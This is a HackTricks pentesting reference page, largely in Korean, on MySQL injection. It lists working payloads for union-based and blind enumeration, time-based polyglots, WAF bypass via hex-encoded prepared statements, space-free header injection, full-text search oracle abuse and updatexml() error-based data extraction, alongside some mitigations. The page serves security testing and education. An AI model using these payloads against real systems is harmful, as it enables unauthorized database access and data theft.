MySQL injection

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

주석

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

흥미로운 함수들

Mysql 확인:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

유용한 함수

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

모든 injection

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

출처 https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

흐름

기억하세요: “modern” 버전의 MySQL에서는 “information_schema.tables“를 “mysql.innodb_table_stats 대신 사용할 수 있습니다 (이는 WAFs를 우회하는 데 유용할 수 있습니다).

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

값이 1개만 있는 경우

  • group_concat()
  • Limit X,1

Blind 하나씩

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind 추가 방식

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

컬럼 수 감지

간단한 ORDER 사용

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

여기에서 다양한 옵션을 알아보세요 abuse a Mysql injection to obtain a SSRF.

WAF 우회 기법

Prepared Statements를 통한 쿼리 실행

stacked queries가 허용되는 경우, 실행하려는 쿼리의 hex 표현을 변수에 할당(SET 사용)한 뒤 PREPARE와 EXECUTE MySQL 문을 사용하여 결국 쿼리를 실행함으로써 WAF를 우회할 수 있습니다. 다음과 같습니다:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

자세한 내용은 this blog post를 참조하세요.

Information_schema 대안

“modern” 버전의 MySQL에서는 information_schema.tablesmysql.innodb_table_stats 또는 sys.x$schema_flattened_keys 또는 sys.schema_table_statistics 대신 사용할 수 있음을 기억하세요.

MySQLinjection without COMMAS

쉼표를 사용하지 않고 2개 컬럼 선택하기 (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

컬럼 이름 없이 값 조회하기

테이블 이름은 알고 있지만 그 안의 컬럼 이름을 모르는 경우, 다음과 같이 실행하여 컬럼이 몇 개인지 확인해볼 수 있습니다:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

첫 번째가 ID이고 다른 하나가 flag인 2개의 컬럼이 있다고 가정하면, flag의 내용을 문자 단위로 bruteforce로 하나씩 시도해 추출할 수 있습니다:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

자세한 정보: https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Injection (SPACES 없이) (/**/ 주석 트릭)

일부 애플리케이션은 sscanf("%128s", buf) 같은 함수로 사용자 입력을 정제하거나 파싱하는데, 이런 함수는 첫 번째 공백 문자에서 멈춥니다. MySQL이 /**/ 시퀀스를 주석 공백으로 처리하기 때문에, 쿼리의 문법적 유효성을 유지하면서 페이로드에서 일반 공백을 완전히 제거하는 데 사용할 수 있습니다.

예: 시간 기반 blind injection으로 공백 필터를 우회하는 예:

GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

데이터베이스가 받는 것은:

' OR SLEEP(5)-- -'

This is especially handy when:

  • 제어 가능한 버퍼의 크기가 제한되어 있고(예: %128s) 공백이 입력을 조기에 종료시키는 경우.
  • 정상적인 공백이 제거되거나 구분자로 사용되는 HTTP 헤더나 다른 필드를 통해 인젝션할 때.
  • 전체 pre-auth RCE를 달성하기 위해 INTO OUTFILE 프리미티브와 결합될 때(자세한 내용은 MySQL File RCE 섹션 참조).

MySQL 히스토리

MySQL에서 테이블을 읽어 다른 실행을 확인할 수 있습니다: sys.x$statement_analysis

버전 대안s

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)

이것은 전형적인 SQL injection이 아니다. 개발자가 MATCH(col) AGAINST('...' IN BOOLEAN MODE)에 사용자 입력을 전달하면, MySQL은 인용된 문자열 내부에서 다양한 Boolean 검색 연산자를 실행한다. 많은 WAF/SAST 규칙이 quote breaking에만 집중해 이 공격 표면을 놓친다.

Key points:

  • Operators are evaluated inside the quotes: + (반드시 포함), - (포함해서는 안 됨), * (후행 와일드카드), "..." (정확한 문구), () (그룹화), </>/~ (가중치). See MySQL docs.
  • This allows presence/absence and prefix tests without breaking out of the string literal, e.g. AGAINST('+admin*' IN BOOLEAN MODE) to check for any term starting with admin.
  • Useful to build oracles such as “does any row contain a term with prefix X?” and to enumerate hidden strings via prefix expansion.

Example query built by the backend:

SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

If the application returns different responses depending on whether the result set is empty (e.g., redirect vs. error message), that behavior becomes a Boolean oracle that can be used to enumerate private data such as hidden/deleted titles.

Sanitizer bypass patterns (generic):

  • Boundary-trim preserving wildcard: 백엔드가 (\b.{1,2})(\s)|(\b.{1,2}$) 같은 정규표현식으로 단어마다 끝에서 1–2문자를 잘라내는 경우, prefix*ZZ를 제출하세요. 클리너는 ZZ는 잘라내지만 *는 남겨 두므로 prefix*가 유지됩니다.
  • Early-break stripping: 코드가 단어별로 연산자(operator)를 제거하지만 길이가 최소 길이(min length) 이상인 토큰을 발견하면 처리를 중단한다면, 두 개의 토큰을 전송하세요: 첫 번째는 길이 조건을 만족하는 잡(token)이며, 두 번째가 연산자 페이로드를 담습니다. 예: &&&&& +jack*ZZ → 정리 후: +&&&&& +jack*.

Payload template (URL-encoded):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26 is &, %2B is +. 후행 xD(또는 임의의 두 글자)는 클리너에 의해 잘려나가며 {FUZZ}*는 보존됩니다.
  • Treat a redirect as “match” and an error page as “no match”. 오라클을 관찰 가능하게 유지하려면 리다이렉트를 자동으로 따라가지 마세요.

Enumeration workflow:

  1. 시작은 {FUZZ} = a…z,0…9로 하여 +a*, +b*, …를 통해 첫 글자 일치를 찾습니다.
  2. 각 positive 접두사에 대해 분기: a* → aa* / ab* / …. 전체 문자열을 복구할 때까지 반복합니다.
  3. 앱이 플러드 제어를 시행하면 요청을 분산하세요(프록시, 다중 계정 등).

Why titles often leak while contents don’t:

  • 일부 앱은 제목/subject에 대한 예비 MATCH 이후에만 가시성 검사를 적용합니다. 필터링 전에 제어 흐름이 “any results?” 결과에 의존하면 existence leak가 발생합니다.

Mitigations:

  • Boolean logic가 필요 없다면 IN NATURAL LANGUAGE MODE를 사용하거나 사용자 입력을 리터럴로 처리하세요(이스케이프/인용으로 다른 모드의 연산자를 비활성화).
  • Boolean mode가 필요하다면 토큰화 후(조기 중단 없이) 모든 토큰에 대해 모든 Boolean 연산자(+ - * " ( ) < > ~)를 제거하거나 무력화하세요.
  • MATCH 이전에 가시성/권한 필터를 적용하거나, 결과 집합이 비어있을 때와 비어있지 않을 때 응답을 통일(일정한 시간/상태)하세요.
  • 다른 DBMS의 유사 기능을 검토하세요: PostgreSQL to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2 CONTAINS도 인용된 인자 안에서 연산자를 파싱합니다.

Notes:

  • Prepared statements는 REGEXP나 검색 연산자의 의미적 악용으로부터 보호하지 않습니다. .* 같은 입력은 인용된 REGEXP '.*' 내부에서도 여전히 허용적인 정규식입니다. 허용 목록(allow-lists)이나 명시적 가드를 사용하세요.

Error-based exfiltration via updatexml()

dimension: id {
type: number
sql: updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null) ;;
}

updatexml()은 연결된 문자열을 포함하는 XPATH 오류를 발생시키므로 내부 SELECT의 값이 구분자 (0x7e = ~) 사이에 오류 응답으로 표시됩니다. 행을 열거하려면 LIMIT 1 OFFSET N을 반복하세요. UI가 “boolean” 테스트를 강제할 때에도 오류 메시지가 여전히 노출되므로 이 방법은 작동합니다.

기타 MYSQL injection 가이드

참고 자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기